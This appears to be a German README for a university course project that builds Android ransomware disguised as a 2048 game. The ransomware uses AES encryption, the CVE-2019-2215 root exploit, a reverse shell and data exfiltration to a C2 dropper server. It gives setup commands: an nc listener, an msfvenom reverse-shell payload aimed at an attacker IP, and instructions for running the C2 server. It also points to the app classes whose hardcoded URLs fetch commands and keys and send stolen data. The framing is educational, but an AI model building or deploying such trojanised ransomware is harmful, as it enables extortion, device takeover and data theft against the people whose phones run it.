
Android Ransomware Entwicklung - AES256-Verschlüsselung + CVE-2019-2215 (Reverse-Root-Shell) + Datenexfiltration
Dieses Projekt dient ausschließlich zu Bildungszwecken. Dieses Projekt verwendet Code von rkshrksh/2048-Game und kangtastic/cve-2019-2215.
Dieses Projekt ist Teil des Moduls Mobile Security der Singapore Institute of Technology. Das Projekt wurde innerhalb von 6 Wochen durchgeführt und zielte darauf ab, eine schädliche Android-Anwendung zu entwickeln. Dadurch lernten wir, wie Sicherheitsmechanismen in einem Android-Betriebssystem implementiert sind und wie wir OWASP Mobile Top 10:2017 M8 - Code-Tampering anwenden können.
Das Projekt dient als Proof of Concept, um eine selbst geschriebene Ransomware zu demonstrieren, die AES-Verschlüsselung nutzt, cve-2019-2215 als Waffe einsetzt und Daten vom infizierten Gerät exfiltriert.
Es wurde auf Android 10 und Google Pixel 2 XL getestet.
├── 2048-Game // Android-Projektordner
├── 2048-keystore // Test-Keystore
├── cve-2019-2215 // Modifiziertes cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // Dropper-Server-Verzeichnis
│ ├── cve-2019-2215 // shells.zip-Inhalt vor dem Zippen
│ ├── dropper_server.py // Dropper-Server-Programm
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Netcat Windows-Binärdatei - für Reverse-Shell-Listener
│ ├── requirements.txt
│ ├── shells.zip // shells.zip, das im Stammverzeichnis des Dropper-Servers gehostet wird
│ └── venv
└── test_images // test_images für einfaches adb push <image.ext> /sdcard/Pictures
Für diesen Test stellen Sie sicher, dass sich das Opfer-Telefon und der C2-Server im selben Subnetz befinden (andernfalls hosten Sie den C2 im öffentlichen Internet). Es gibt 3 Endpunkte für den C2-Server, die in dropper/dropper_server.py zu finden sind:
nc -lvnp 1337 # Idealerweise sollte dies dieselbe IP wie der Dropper-Server sein
# rs.elf-Payload generieren
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Angreifer-IP> LPORT=<Angreifer-Port> -f elf > rs.elf
# Besser Flask unter Windows ausführen, falls WSL den Localhost-Datenverkehr nicht an den Windows-Host weiterleitet
cd dropper
python3 -m venv venv # Venv erstellen
# Venv aktivieren
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Stellen Sie sicher, dass die Host-Shell root/Administrator ist
# C2-Server ausführen
python3 dropper_server.py # WSL
python dropper_server.py # Windows
shells.zip in /dropper
Java-Klassen
// Datei : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// IP und Port entsprechend der Dropper-Server-IP und dem Port ändern
String URL = "http://192.168.157.73:8080/process_command"; // Zeile 19
// Datei : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// IP und Port entsprechend der Dropper-Server-IP und dem Port ändern
String URL = "http://192.168.157.73:8080/get_mk"; // Zeile 45
// Datei : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// IP und Port entsprechend der Dropper-Server-IP und dem Port ändern
String urlString = "http://192.168.157.73:8080/postData"; // Zeile 32